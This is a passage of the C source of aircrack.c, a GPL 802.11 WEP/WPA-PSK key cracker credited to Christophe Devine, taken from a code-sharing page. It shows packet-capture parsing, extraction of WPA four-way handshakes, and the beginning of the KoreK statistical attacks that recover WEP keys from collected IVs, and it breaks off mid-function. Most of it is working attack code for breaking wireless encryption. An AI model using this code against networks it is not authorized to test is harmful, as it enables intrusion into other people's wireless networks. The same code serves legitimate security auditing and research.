aircrack.c
上传用户:fubang
上传日期:2009-06-18
资源大小:2071k
文件大小:74k
源码类别:

其他

开发平台:

Unix_Linux

  1. /*
  2.  *  802.11 40/104 bit WEP / WPA-PSK Key Cracker
  3.  *
  4.  *  Copyright (C) 2004,2005  Christophe Devine
  5.  *
  6.  *  Advanced WEP attacks developed by KoreK
  7.  *  WPA-PSK  attack code developed by Joshua Wright
  8.  *  SHA1 MMX assembly code written by Simon Marechal
  9.  *
  10.  *  This program is free software; you can redistribute it and/or modify
  11.  *  it under the terms of the GNU General Public License as published by
  12.  *  the Free Software Foundation; either version 2 of the License, or
  13.  *  (at your option) any later version.
  14.  *
  15.  *  This program is distributed in the hope that it will be useful,
  16.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  17.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  18.  *  GNU General Public License for more details.
  19.  *
  20.  *  You should have received a copy of the GNU General Public License
  21.  *  along with this program; if not, write to the Free Software
  22.  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  23.  */
  24. #include <sys/types.h>
  25. #include <sys/termios.h>
  26. #include <sys/ioctl.h>
  27. #include <sys/wait.h>
  28. #include <sys/stat.h>
  29. #include <sys/time.h>
  30. #include <pthread.h>
  31. #include <unistd.h>
  32. #include <signal.h>
  33. #include <string.h>
  34. #include <stdlib.h>
  35. #include <stdio.h>
  36. #include <fcntl.h>
  37. #include <errno.h>
  38. #include <time.h>
  39. #include "crypto.h"
  40. #include "pcap.h"
  41. #include "uniqueiv.c"
  42. #define SUCCESS  0
  43. #define FAILURE  1
  44. #define RESTART  2
  45. #ifndef O_BINARY
  46. #define O_BINARY 0
  47. #endif
  48. #define SWAP(x,y) { uchar tmp = x; x = y; y = tmp; }
  49. #ifdef __i386__
  50. extern int shammx_init( uchar ctx[40] )
  51.     __attribute__((regparm(1)));
  52. extern int shammx_ends( uchar ctx[40], uchar digests[40] )
  53.     __attribute__((regparm(2)));
  54. extern int shammx_data( uchar ctx[40], uchar data[128], uchar buf[640] )
  55.     __attribute__((regparm(3)));
  56. #endif
  57. #define BROADCAST "xFFxFFxFFxFFxFFxFF"
  58. static uchar ZERO[32] =
  59.     "x00x00x00x00x00x00x00x00"
  60.     "x00x00x00x00x00x00x00x00"
  61.     "x00x00x00x00x00x00x00x00"
  62.     "x00x00x00x00x00x00x00x00";
  63. struct options
  64. {
  65.     int amode;                  /* attack mode          */
  66.     int essid_set;              /* essid set flag       */
  67.     int bssid_set;              /* bssid set flag       */
  68.     char essid[33];             /* target ESSID         */
  69.     uchar bssid[6];             /* target BSSID         */
  70.     int nbcpu;                  /* # of cracker threads */
  71.     int is_quiet;               /* quiet mode flag      */
  72.     uchar debug[64];            /* user-defined WEP key */
  73.     uchar maddr[6];             /* MAC address filter   */
  74.     int keylen;                 /* WEP key length       */
  75.     int index;                  /* WEP key index        */
  76.     float ffact;                /* bruteforce factor    */
  77.     int korek;                  /* attack strategy      */
  78.     int is_alnum;               /* alphanum keyspace    */
  79.     int is_bcdonly;             /* binary coded decimal */
  80.     int do_brute;               /* bruteforce last 2    */
  81.     int do_testy;               /* experimental attack  */
  82.     FILE *dict;                 /* dictionary file      */
  83.     int no_stdin;               /* if dict == stdin     */
  84.     int l33t;                   /* no comment           */
  85. }
  86. opt;
  87. typedef struct { int idx, val; } vote;
  88. struct WEP_data
  89. {
  90.     uchar key[64];              /* the current chosen WEP key   */
  91.     uchar *ivbuf;               /* buffer holding all the IVs   */
  92.     int nb_aps;                 /* number of targeted APs       */
  93.     long nb_ivs;                /* # of unique IVs in buffer    */
  94.     long nb_ivs_now;            /* # of unique IVs available    */
  95.     int fudge[64];              /* bruteforce level (1 to 256)  */
  96.     int depth[64];              /* how deep we are in the fudge */
  97.     vote poll[64][256];         /* KoreK cryptanalysis results  */
  98. }
  99. wep;
  100. struct WPA_hdsk
  101. {
  102.     uchar stmac[6];             /* supplicant MAC               */
  103.     uchar snonce[32];           /* supplicant nonce             */
  104.     uchar anonce[32];           /* authenticator nonce          */
  105.     uchar keymic[16];           /* eapol frame MIC              */
  106.     uchar eapol[256];           /* eapol frame contents         */    
  107.     int eapol_size;             /* eapol frame size             */
  108.     int keyver;                 /* key version (TKIP / AES)     */
  109.     int state;                  /* handshake completion         */
  110. };
  111. struct AP_info
  112. {
  113.     struct AP_info *next;       /* next AP in linked list       */
  114.     uchar bssid[6];             /* access point MAC address     */
  115.     char essid[33];             /* access point identifier      */
  116.     uchar lanip[4];             /* IP address if unencrypted    */
  117.     uchar *ivbuf;               /* table holding WEP IV data    */
  118.     uchar **uiv_root;           /* IV uniqueness root struct    */
  119.     long ivbuf_size;            /* IV buffer allocated size     */
  120.     long nb_ivs;                /* total number of unique IVs   */
  121.     int crypt;                  /* encryption algorithm         */
  122.     int eapol;                  /* set if EAPOL is present      */
  123.     int target;                 /* flag set if AP is a target   */
  124.     struct ST_info *st_1st;     /* linked list of stations      */
  125.     struct WPA_hdsk wpa;        /* valid WPA handshake data     */
  126. };
  127. struct ST_info
  128. {
  129.     struct AP_info *ap;         /* parent AP                    */
  130.     struct ST_info *next;       /* next supplicant              */
  131.     struct WPA_hdsk wpa;        /* WPA handshake data           */
  132.     unsigned char stmac[6];     /* client MAC address           */
  133. };
  134. /* stats global data */
  135. struct timeval t_begin;         /* time at start of attack      */
  136. struct timeval t_stats;         /* time since last update       */
  137. struct timeval t_kprev;         /* time at start of window      */
  138. long long int nb_kprev;         /* last  # of keys tried        */
  139. long long int nb_tried;         /* total # of keys tried        */
  140. /* IPC global data */
  141. struct AP_info *ap_1st;         /* first item in linked list    */
  142. pthread_mutex_t mx_apl;         /* lock write access to ap LL   */
  143. pthread_mutex_t mx_eof;         /* lock write access to nb_eof  */
  144. pthread_cond_t  cv_eof;         /* read EOF condition variable  */
  145. int  nb_eof = 0;                /* # of threads who reached eof */
  146. long nb_pkt = 0;                /* # of packets read so far     */
  147. int mc_pipe[256][2];            /* master->child control pipe   */ 
  148. int cm_pipe[256][2];            /* child->master results pipe   */
  149. #define N_ATTACKS 17
  150. enum KoreK_attacks
  151. {
  152.     A_u15,                      /* semi-stable  15%             */
  153.     A_s13,                      /* stable       13%             */
  154.     A_u13_1,                    /* unstable     13%             */
  155.     A_u13_2,                    /* unstable ?   13%             */
  156.     A_u13_3,                    /* unstable ?   13%             */
  157.     A_s5_1,                     /* standard      5% (~FMS)      */
  158.     A_s5_2,                     /* other stable  5%             */
  159.     A_s5_3,                     /* other stable  5%             */
  160.     A_u5_1,                     /* unstable      5% no good ?   */
  161.     A_u5_2,                     /* unstable      5%             */
  162.     A_u5_3,                     /* unstable      5% no good     */
  163.     A_u5_4,                     /* unstable      5%             */
  164.     A_s3,                       /* stable        3%             */
  165.     A_4_s13,                    /* stable       13% on q = 4    */
  166.     A_4_u5_1,                   /* unstable      5% on q = 4    */
  167.     A_4_u5_2,                   /* unstable      5% on q = 4    */
  168.     A_neg                       /* helps reject false positives */
  169. };
  170. int K_COEFF[N_ATTACKS] =
  171. {
  172.     15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20
  173. };
  174. void eof_wait( int *eof_notified )
  175. {
  176.     if( *eof_notified == 0 )
  177.     {
  178.         *eof_notified = 1;
  179.         /* tell the master thread we reached EOF */
  180.         pthread_mutex_lock( &mx_eof );
  181.         nb_eof++;
  182.         pthread_cond_broadcast( &cv_eof );
  183.         pthread_mutex_unlock( &mx_eof );
  184.     }
  185.     usleep( 100000 );
  186. }
  187. /* fread isn't atomic, sadly */
  188. typedef struct
  189. {
  190.     int off1;
  191.     int off2;
  192.     void *buf1;
  193.     void *buf2;
  194. }
  195. read_buf;
  196. int atomic_read( read_buf *rb, int fd, int len, void *buf )
  197. {
  198.     int n;
  199.     
  200.     if( rb->buf1 == NULL )
  201.     {
  202.         rb->buf1 = malloc( 65536 );
  203.         rb->buf2 = malloc( 65536 );
  204.         
  205.         if( rb->buf1 == NULL || rb->buf2 == NULL )
  206.             return( 0 );
  207.             
  208.         rb->off1 = 0;
  209.         rb->off2 = 0;
  210.     }
  211.     if( len > 65536 - rb->off1 )
  212.     {
  213.         rb->off2 -= rb->off1;
  214.         memcpy( rb->buf2, rb->buf1 + rb->off1, rb->off2 );
  215.         memcpy( rb->buf1, rb->buf2, rb->off2 );
  216.         rb->off1 = 0;
  217.     }
  218.  
  219.     if( rb->off2 - rb->off1 >= len )
  220.     {
  221.         memcpy( buf, rb->buf1 + rb->off1, len );
  222.         rb->off1 += len;
  223.         return( 1 );
  224.     }
  225.     else
  226.     {
  227.         n = read( fd, rb->buf1 + rb->off2, 65536 - rb->off2 );
  228.         if( n <= 0 )
  229.             return( 0 );
  230.         rb->off2 += n;
  231.         if( rb->off2 - rb->off1 >= len )
  232.         {
  233.             memcpy( buf, rb->buf1 + rb->off1, len );
  234.             rb->off1 += len;
  235.             return( 1 );
  236.         }
  237.     }
  238.     return( 0 );
  239. }
  240. void read_thread( void *arg )
  241. {
  242.     int fd, n, z, fmt;
  243.     int eof_notified = 0;
  244.     read_buf rb;
  245.     uchar bssid[6];
  246.     uchar stmac[6];
  247.     uchar *buffer;
  248.     uchar *h80211;
  249.     uchar *p;
  250.     struct pcap_pkthdr pkh;
  251.     struct pcap_file_header pfh;
  252.     struct AP_info *ap_prv, *ap_cur;
  253.     struct ST_info *st_prv, *st_cur;
  254.     memset( &rb, 0, sizeof( rb ) );
  255.     if( ( buffer = (uchar *) malloc( 65536 ) ) == NULL )
  256.     {
  257.         /* there is no buffer */
  258.         perror( "malloc failed" );
  259.         goto read_fail;
  260.     }
  261.     h80211 = buffer;
  262.     if( ! opt.is_quiet )
  263.         printf( "Opening %sn", (char *) arg );
  264.     if( strcmp( arg, "-" ) == 0 )
  265.         fd = 0;
  266.     else
  267.     {
  268.         if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 )
  269.         {
  270.             perror( "open failed" );
  271.             goto read_fail;
  272.         }
  273.     }
  274.     if( ! atomic_read( &rb, fd, 4, &pfh ) )
  275.     {
  276.         perror( "read(file header) failed" );
  277.         goto read_fail;
  278.     }
  279.     fmt = FORMAT_IVS;
  280.     if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 )
  281.     {
  282.         fmt = FORMAT_CAP;
  283.         if( pfh.magic != TCPDUMP_MAGIC &&
  284.             pfh.magic != TCPDUMP_CIGAM )
  285.         {
  286.             fprintf( stderr, "Unsupported file format "
  287.                              "(not a pcap or IVs file).n" );
  288.             goto read_fail;
  289.         }
  290.         /* read the rest of the pcap file header */
  291.         if( ! atomic_read( &rb, fd, 20, (uchar *) &pfh + 4 ) )
  292.         {
  293.             perror( "read(file header) failed" );
  294.             goto read_fail;
  295.         }
  296.         /* take care of endian issues and check the link type */
  297.         if( pfh.magic == TCPDUMP_CIGAM )
  298.             SWAP32( pfh.linktype );
  299.         if( pfh.linktype != LINKTYPE_IEEE802_11 &&
  300.             pfh.linktype != LINKTYPE_PRISM_HEADER &&
  301.             pfh.linktype != LINKTYPE_RADIOTAP_HDR )
  302.         {
  303.             fprintf( stderr, "This file is not a regular "
  304.                              "802.11 (wireless) capture.n" );
  305.             goto read_fail;
  306.         }
  307.     }
  308.     /* avoid blocking on reading the file */
  309.     if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 )
  310.     {
  311.         perror( "fcntl(O_NONBLOCK) failed" );
  312.         goto read_fail;
  313.     }
  314.     while( 1 )
  315.     {
  316.         if( fmt == FORMAT_IVS )
  317.         {
  318.             /* read one IV */
  319.             while( ! atomic_read( &rb, fd, 1, buffer ) )
  320.                 eof_wait( &eof_notified );
  321.             if( buffer[0] != 0xFF )
  322.             {
  323.                 /* new access point MAC */
  324.                 bssid[0] = buffer[0];
  325.                 while( ! atomic_read( &rb, fd, 5, bssid + 1 ) )
  326.                     eof_wait( &eof_notified );
  327.             }
  328.             while( ! atomic_read( &rb, fd, 5, buffer ) )
  329.                 eof_wait( &eof_notified );
  330.         }
  331.         else
  332.         {
  333.             while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) )
  334.                 eof_wait( &eof_notified );
  335.             if( pfh.magic == TCPDUMP_CIGAM )
  336.                 SWAP32( pkh.caplen );
  337.             
  338.             if( pkh.caplen <= 0 || pkh.caplen > 65535 )
  339.             {
  340.                 fprintf( stderr, "nInvalid packet capture length %d - "
  341.                                  "corrupted file?n", pkh.caplen );
  342.                 eof_wait( &eof_notified );
  343.                 _exit( FAILURE );
  344.             }
  345.             while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) )
  346.                 eof_wait( &eof_notified );
  347.             h80211 = buffer;
  348.             if( pfh.linktype == LINKTYPE_PRISM_HEADER )
  349.             {
  350.                 /* remove the prism header */
  351.                 if( h80211[7] == 0x40 )
  352.                     n = 64;
  353.                 else
  354.                 {
  355.                     n = *(int *)( h80211 + 4 );
  356.                     if( pfh.magic == TCPDUMP_CIGAM )
  357.                         SWAP32( n );
  358.                 }
  359.                 if( n < 8 || n >= (int) pkh.caplen )
  360.                     continue;
  361.                 h80211 += n; pkh.caplen -= n;
  362.             }
  363.             if( pfh.linktype == LINKTYPE_RADIOTAP_HDR )
  364.             {
  365.                 /* remove the radiotap header */
  366.                 n = *(unsigned short *)( h80211 + 2 );
  367.                 if( n <= 0 || n >= (int) pkh.caplen )
  368.                     continue;
  369.                 h80211 += n; pkh.caplen -= n;
  370.             }
  371.         }
  372.         /* prevent concurrent access on the linked list */
  373.         pthread_mutex_lock( &mx_apl );
  374.         nb_pkt++;
  375.         if( fmt == FORMAT_CAP )
  376.         {
  377.             /* skip packets smaller than a 802.11 header */
  378.             if( pkh.caplen < 24 )
  379.                 goto unlock_mx_apl;
  380.             /* skip (uninteresting) control frames */
  381.             if( ( h80211[0] & 0x0C ) == 0x04 )
  382.                 goto unlock_mx_apl;
  383.             /* locate the access point's MAC address */
  384.             switch( h80211[1] & 3 )
  385.             {
  386.                 case  0: memcpy( bssid, h80211 + 16, 6 ); break;
  387.                 case  1: memcpy( bssid, h80211 +  4, 6 ); break;
  388.                 case  2: memcpy( bssid, h80211 + 10, 6 ); break;
  389.                 default: memcpy( bssid, h80211 +  4, 6 ); break;
  390.             }
  391.         }
  392.         if( memcmp( bssid, BROADCAST, 6 ) == 0 )
  393.             /* probe request or such - skip the packet */
  394.             goto unlock_mx_apl;
  395.         if( memcmp( opt.maddr, ZERO,      6 ) != 0 &&
  396.             memcmp( opt.maddr, BROADCAST, 6 ) != 0 )
  397.         {
  398.             /* apply the MAC filter */
  399.             if( memcmp( opt.maddr, h80211 +  4, 6 ) != 0 &&
  400.                 memcmp( opt.maddr, h80211 + 10, 6 ) != 0 &&
  401.                 memcmp( opt.maddr, h80211 + 16, 6 ) != 0 )
  402.                 goto unlock_mx_apl;
  403.         }
  404.         /* search the linked list */
  405.         ap_prv = NULL;
  406.         ap_cur = ap_1st;
  407.         while( ap_cur != NULL )
  408.         {
  409.             if( ! memcmp( ap_cur->bssid, bssid, 6 ) )
  410.                 break;
  411.             ap_prv = ap_cur;
  412.             ap_cur = ap_cur->next;
  413.         }
  414.         /* if it's a new access point, add it */
  415.         if( ap_cur == NULL )
  416.         {
  417.             if( ! ( ap_cur = (struct AP_info *) malloc(
  418.                              sizeof( struct AP_info ) ) ) )
  419.             {
  420.                 perror( "malloc failed" );
  421.                 break;
  422.             }
  423.             memset( ap_cur, 0, sizeof( struct AP_info ) );
  424.             if( ap_1st == NULL )
  425.                 ap_1st = ap_cur;
  426.             else
  427.                 ap_prv->next = ap_cur;
  428.             memcpy( ap_cur->bssid, bssid, 6 );
  429.             ap_cur->crypt = -1;
  430.         }
  431.         if( fmt == FORMAT_IVS )
  432.         {
  433.             ap_cur->crypt = 2;
  434. add_wep_iv:
  435.             /* check for uniqueness first */
  436.             if( ap_cur->nb_ivs == 0 )
  437.                 ap_cur->uiv_root = uniqueiv_init();
  438.             if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
  439.             {
  440.                 /* add the IV & first two encrypted bytes */
  441.                 n = ap_cur->nb_ivs * 5;
  442.                 if( n + 5 > ap_cur->ivbuf_size )
  443.                 {
  444.                     /* enlarge the IVs buffer */
  445.                     ap_cur->ivbuf_size += 131072;
  446.                     ap_cur->ivbuf = (uchar *) realloc(
  447.                                     ap_cur->ivbuf, ap_cur->ivbuf_size );
  448.                     if( ap_cur->ivbuf == NULL )
  449.                     {
  450.                         perror( "remalloc failed" );
  451.                         break;
  452.                     }
  453.                 }
  454.                 memcpy( ap_cur->ivbuf + n, buffer, 5 );
  455.                 uniqueiv_mark( ap_cur->uiv_root, buffer );
  456.                 ap_cur->nb_ivs++;
  457.             }
  458.             goto unlock_mx_apl;
  459.         }
  460.         /* locate the station MAC in the 802.11 header */
  461.         st_cur = NULL;
  462.         switch( h80211[1] & 3 )
  463.         {
  464.             case  0: memcpy( stmac, h80211 + 10, 6 ); break;
  465.             case  1: memcpy( stmac, h80211 + 10, 6 ); break;
  466.             case  2:
  467.                 /* reject broadcast MACs */
  468.                 if( h80211[4] != 0 ) goto skip_station;
  469.                 memcpy( stmac, h80211 +  4, 6 ); break;
  470.             default: goto skip_station; break;
  471.         }
  472.         st_prv = NULL;
  473.         st_cur = ap_cur->st_1st;
  474.         while( st_cur != NULL )
  475.         {
  476.             if( ! memcmp( st_cur->stmac, stmac, 6 ) )
  477.                 break;
  478.             st_prv = st_cur;
  479.             st_cur = st_cur->next;
  480.         }
  481.         /* if it's a new supplicant, add it */
  482.         if( st_cur == NULL )
  483.         {
  484.             if( ! ( st_cur = (struct ST_info *) malloc(
  485.                              sizeof( struct ST_info ) ) ) )
  486.             {
  487.                 perror( "malloc failed" );
  488.                 break;
  489.             }
  490.             memset( st_cur, 0, sizeof( struct ST_info ) );
  491.             if( ap_cur->st_1st == NULL )
  492.                 ap_cur->st_1st = st_cur;
  493.             else
  494.                 st_prv->next = st_cur;
  495.             memcpy( st_cur->stmac, stmac, 6 );
  496.         }
  497. skip_station:
  498.         /* packet parsing: Beacon or Probe Response */
  499.         if( h80211[0] == 0x80 ||
  500.             h80211[0] == 0x50 )
  501.         {
  502.             if( ap_cur->crypt < 0 )
  503.                 ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4;
  504.             p = h80211 + 36;
  505.             while( p < h80211 + pkh.caplen )
  506.             {
  507.                 if( p + 2 + p[1] > h80211 + pkh.caplen )
  508.                     break;
  509.                 if( p[0] == 0x00 && p[1] > 0 && p[2] != '' )
  510.                 {
  511.                     /* found a non-cloaked ESSID */
  512.                     n = ( p[1] > 32 ) ? 32 : p[1];
  513.                     memset( ap_cur->essid, 0, 33 ); 
  514.                     memcpy( ap_cur->essid, p + 2, n );
  515.                 }
  516.                 p += 2 + p[1];
  517.             }
  518.         }
  519.         /* packet parsing: Association Request */
  520.         if( h80211[0] == 0x00 )
  521.         {
  522.             p = h80211 + 28;
  523.             while( p < h80211 + pkh.caplen )
  524.             {
  525.                 if( p + 2 + p[1] > h80211 + pkh.caplen )
  526.                     break;
  527.                 if( p[0] == 0x00 && p[1] > 0 && p[2] != '' )
  528.                 {
  529.                     n = ( p[1] > 32 ) ? 32 : p[1];
  530.                     memset( ap_cur->essid, 0, 33 );
  531.                     memcpy( ap_cur->essid, p + 2, n );
  532.                 }
  533.                 p += 2 + p[1];
  534.             }
  535.         }
  536.         /* packet parsing: Association Response */
  537.         if( h80211[0] == 0x10 )
  538.         {
  539.             /* reset the WPA handshake state */
  540.             if( st_cur != NULL )
  541.                 st_cur->wpa.state = 0;
  542.         }
  543.         /* check if data */
  544.         if( ( h80211[0] & 0x0C ) != 0x08 )
  545.             goto unlock_mx_apl;
  546.         /* check minimum size */
  547.         z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  548.         if( z + 16 > (int) pkh.caplen )
  549.             goto unlock_mx_apl;
  550.         /* check the SNAP header to see if data is encrypted */
  551.         if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
  552.         {
  553.             ap_cur->crypt = 2;          /* encryption = WEP */
  554.             /* check the extended IV flag */
  555.             if( ( h80211[z + 3] & 0x20 ) != 0 )
  556.                 ap_cur->crypt = 3;      /* encryption = WPA */
  557.             /* check the WEP key index */
  558.             if( opt.index != 0 &&
  559.                 ( h80211[z + 3] >> 6 ) != opt.index - 1 )
  560.                 goto unlock_mx_apl;
  561.             /* save the IV & first two output bytes */
  562.             memcpy( buffer    , h80211 + z    , 3 );
  563.             memcpy( buffer + 3, h80211 + z + 4, 2 );
  564.             goto add_wep_iv;
  565.         }
  566.         if( ap_cur->crypt < 0 )
  567.             ap_cur->crypt = 0;      /* no encryption */
  568.         /* if ethertype == IPv4, find the LAN address */
  569.         z += 6;
  570.         if( z + 20 < (int) pkh.caplen )
  571.         {
  572.             if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 &&
  573.                 ( h80211[1] & 3 ) == 0x01 )
  574.                     memcpy( ap_cur->lanip, &h80211[z + 14], 4 );
  575.             if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 )
  576.                 memcpy( ap_cur->lanip, &h80211[z + 16], 4 );
  577.         }
  578.         /* check ethertype == EAPOL */
  579.         if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E )
  580.             goto unlock_mx_apl;
  581.         z += 2;
  582.         ap_cur->eapol = 1;
  583.         /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
  584.         if( h80211[z + 1] != 0x03 ||
  585.             ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) )
  586.             goto unlock_mx_apl;
  587.         ap_cur->eapol = 0;
  588.         ap_cur->crypt = 3; /* set WPA */
  589.         if( st_cur == NULL )
  590.             continue;
  591.         /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
  592.         if( ( h80211[z + 6] & 0x08 ) != 0 &&
  593.             ( h80211[z + 6] & 0x40 ) == 0 &&
  594.             ( h80211[z + 6] & 0x80 ) != 0 &&
  595.             ( h80211[z + 5] & 0x01 ) == 0 )
  596.         {
  597.             memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
  598.             st_cur->wpa.state = 1;      /* authenticator nonce set */
  599.         }
  600.         /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
  601.         if( ( h80211[z + 6] & 0x08 ) != 0 &&
  602.             ( h80211[z + 6] & 0x40 ) == 0 &&
  603.             ( h80211[z + 6] & 0x80 ) == 0 &&
  604.             ( h80211[z + 5] & 0x01 ) != 0 )
  605.         {
  606.             if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
  607.             {
  608.                 memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 );
  609.                 st_cur->wpa.state |= 2; /* supplicant nonce set */
  610.             }
  611.         }
  612.         /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
  613.         if( ( h80211[z + 6] & 0x08 ) != 0 &&
  614.             ( h80211[z + 6] & 0x40 ) != 0 &&
  615.             ( h80211[z + 6] & 0x80 ) != 0 &&
  616.             ( h80211[z + 5] & 0x01 ) != 0 )
  617.         {
  618.             if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
  619.             {
  620.                 memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
  621.                 st_cur->wpa.state |= 4; /* authenticator nonce set */
  622.             }
  623.             /* copy the MIC & eapol frame */
  624.             st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
  625.                                    +   h80211[z + 3] + 4;
  626.             memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
  627.             memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
  628.             memset( st_cur->wpa.eapol + 81, 0, 16 );
  629.             st_cur->wpa.state |= 8;     /* eapol frame & keymic set */
  630.             /* copy the key descriptor version */
  631.             st_cur->wpa.keyver = h80211[z + 6] & 7;
  632.         }
  633.         if( st_cur->wpa.state == 15 )
  634.         {
  635.             /* got one valid handshake */
  636.             memcpy( st_cur->wpa.stmac, stmac, 6 );
  637.             memcpy( &ap_cur->wpa, &st_cur->wpa,
  638.                     sizeof( struct WPA_hdsk ) );
  639.         }
  640. unlock_mx_apl:
  641.         pthread_mutex_unlock( &mx_apl );
  642.     }
  643. read_fail:
  644.     kill( 0, SIGTERM );
  645.     _exit( FAILURE );
  646. }
  647. /* timing routine */
  648. float chrono( struct timeval *start, int reset )
  649. {
  650.     float delta;
  651.     struct timeval current;
  652.     gettimeofday( &current, NULL );
  653.     delta = ( current.tv_sec  - start->tv_sec  ) + (float)
  654.             ( current.tv_usec - start->tv_usec ) / 1000000;
  655.     if( reset )
  656.         gettimeofday( start, NULL );
  657.     return( delta );
  658. }
  659. /* signal-safe I/O routines */
  660. int safe_read( int fd, void *buf, size_t len )
  661. {
  662.     int n;
  663.     size_t sum = 0;
  664.     char  *off = (char *) buf;
  665.     while( sum < len )
  666.     {
  667.         if( ! ( n = read( fd, (void *) off, len - sum ) ) )
  668.             return( 0 );
  669.         if( n < 0 && errno == EINTR ) continue;
  670.         if( n < 0 ) return( n );
  671.         sum += n;
  672.         off += n;
  673.     }
  674.     return( sum );
  675. }
  676. int safe_write( int fd, void *buf, size_t len )
  677. {
  678.     int n;
  679.     size_t sum = 0;
  680.     char  *off = (char *) buf;
  681.     while( sum < len )
  682.     {
  683.         if( ( n = write( fd, (void *) off, len - sum ) ) < 0 )
  684.         {
  685.             if( errno == EINTR ) continue;
  686.             return( n );
  687.         }
  688.         sum += n;
  689.         off += n;
  690.     }
  691.     return( sum );
  692. }
  693. /* each thread computes the votes over a subset of the IVs */
  694. int crack_wep_thread( void *arg )
  695. {
  696.     long xv, min, max;
  697.     uchar R[256], jj[256];
  698.     uchar S[256], Si[256];
  699.     uchar K[64];
  700.     uchar io1, o1, io2, o2;
  701.     uchar Sq, dq, Kq, jq, q;
  702.     uchar S1, S2, J2, t2;
  703.     int i, j, B, cid = (long) arg;
  704.     int votes[N_ATTACKS][256];
  705.     for( i = 0; i < 256; i++ )
  706.         R[i] = i;
  707.     while( 1 )
  708.     {
  709.         if( safe_read( mc_pipe[cid][0], (void *) &B,
  710.                 sizeof( int ) ) != sizeof( int ) )
  711.         {
  712.             perror( "read failed" );
  713.             kill( 0, SIGTERM );
  714.             _exit( FAILURE );
  715.         }
  716.         min = 5 * ( ( (     cid ) * wep.nb_ivs ) / opt.nbcpu );
  717.         max = 5 * ( ( ( 1 + cid ) * wep.nb_ivs ) / opt.nbcpu );
  718.         q = 3 + B;
  719.         memcpy( K + 3, wep.key, B );
  720.         memset( votes, 0, sizeof( votes ) );
  721.         /* START: KoreK attacks */
  722.         for( xv = min; xv < max; xv += 5 )
  723.         {
  724.             memcpy( K, &wep.ivbuf[xv], 3 );
  725.             memcpy( S,  R, 256 );
  726.             memcpy( Si, R, 256 );
  727.             for( i = j = 0; i < q; i++ )
  728.             {
  729.                 jj[i] = j = ( j + S[i] + K[i % (3 + opt.keylen)] ) & 0xFF;
  730.                 SWAP( S[i], S[j] );
  731.             }
  732.             i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 );
  733.             o1 = wep.ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1];
  734.             o2 = wep.ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2];
  735.             Sq = S[q]; dq = Sq + jj[q - 1];
  736.             if( S2 == 0 )
  737.             {
  738.                 if( ( S1 == 2 ) && ( o1 == 2 ) )
  739.                 {
  740.                     Kq = 1 - dq; votes[A_neg][Kq]++;
  741.                     Kq = 2 - dq; votes[A_neg][Kq]++;
  742.                 }
  743.                 else if( o2 == 0 )
  744.                 {
  745.                     Kq = 2 - dq; votes[A_neg][Kq]++;
  746.                 }
  747.             }
  748.             else
  749.             {
  750.                 if( ( o2 == 0 ) && ( Sq == 0 ) )
  751.                 {
  752.                     Kq = 2 - dq; votes[A_u15][Kq]++;
  753.                 }
  754.             }
  755.             if( ( S1 == 1 ) && ( o1 == S2 ) )
  756.             {
  757.                 Kq = 1 - dq; votes[A_neg][Kq]++;
  758.                 Kq = 2 - dq; votes[A_neg][Kq]++;
  759.             }
  760.             if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) )
  761.             {
  762.                 Kq = 0 - dq; votes[A_neg][Kq]++;
  763.                 Kq = 1 - dq; votes[A_neg][Kq]++;
  764.             }
  765.             if( S1 == q )
  766.             {
  767.                 if( o1 == q )
  768.                 {
  769.                     Kq = Si[0] - dq; votes[A_s13][Kq]++;
  770.                 }
  771.                 else if( ( ( 1 - q - o1 ) & 0xFF ) == 0 )
  772.                 {
  773.                     Kq = io1 - dq; votes[A_u13_1][Kq]++;
  774.                 }
  775.                 else if( io1 < q )
  776.                 {
  777.                     jq = Si[( io1 - q ) & 0xFF];
  778.                     if( jq != 1 )
  779.                     {
  780.                         Kq = jq - dq; votes[A_u5_1][Kq]++;
  781.                     }
  782.                 }
  783.             }
  784.             if( ( io1 == 2 ) && ( S[q] == 1 ) )
  785.             {
  786.                 Kq = 1 - dq; votes[A_u5_2][Kq]++;
  787.             }
  788.             if( S[q] == q )
  789.             {
  790.                 if( ( S1 == 0 ) && ( o1 == q ) )
  791.                 {
  792.                     Kq = 1 - dq; votes[A_u13_2][Kq]++;
  793.                 }
  794.                 else if( ( ( ( 1 - q - S1 ) & 0xFF ) == 0 ) && ( o1 == S1 ) )
  795.                 {
  796.                     Kq = 1 - dq; votes[A_u13_3][Kq]++;
  797.                 }
  798.                 else if( ( S1 >= ( ( -q ) & 0xFF ) )
  799.                          && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) )
  800.                 {
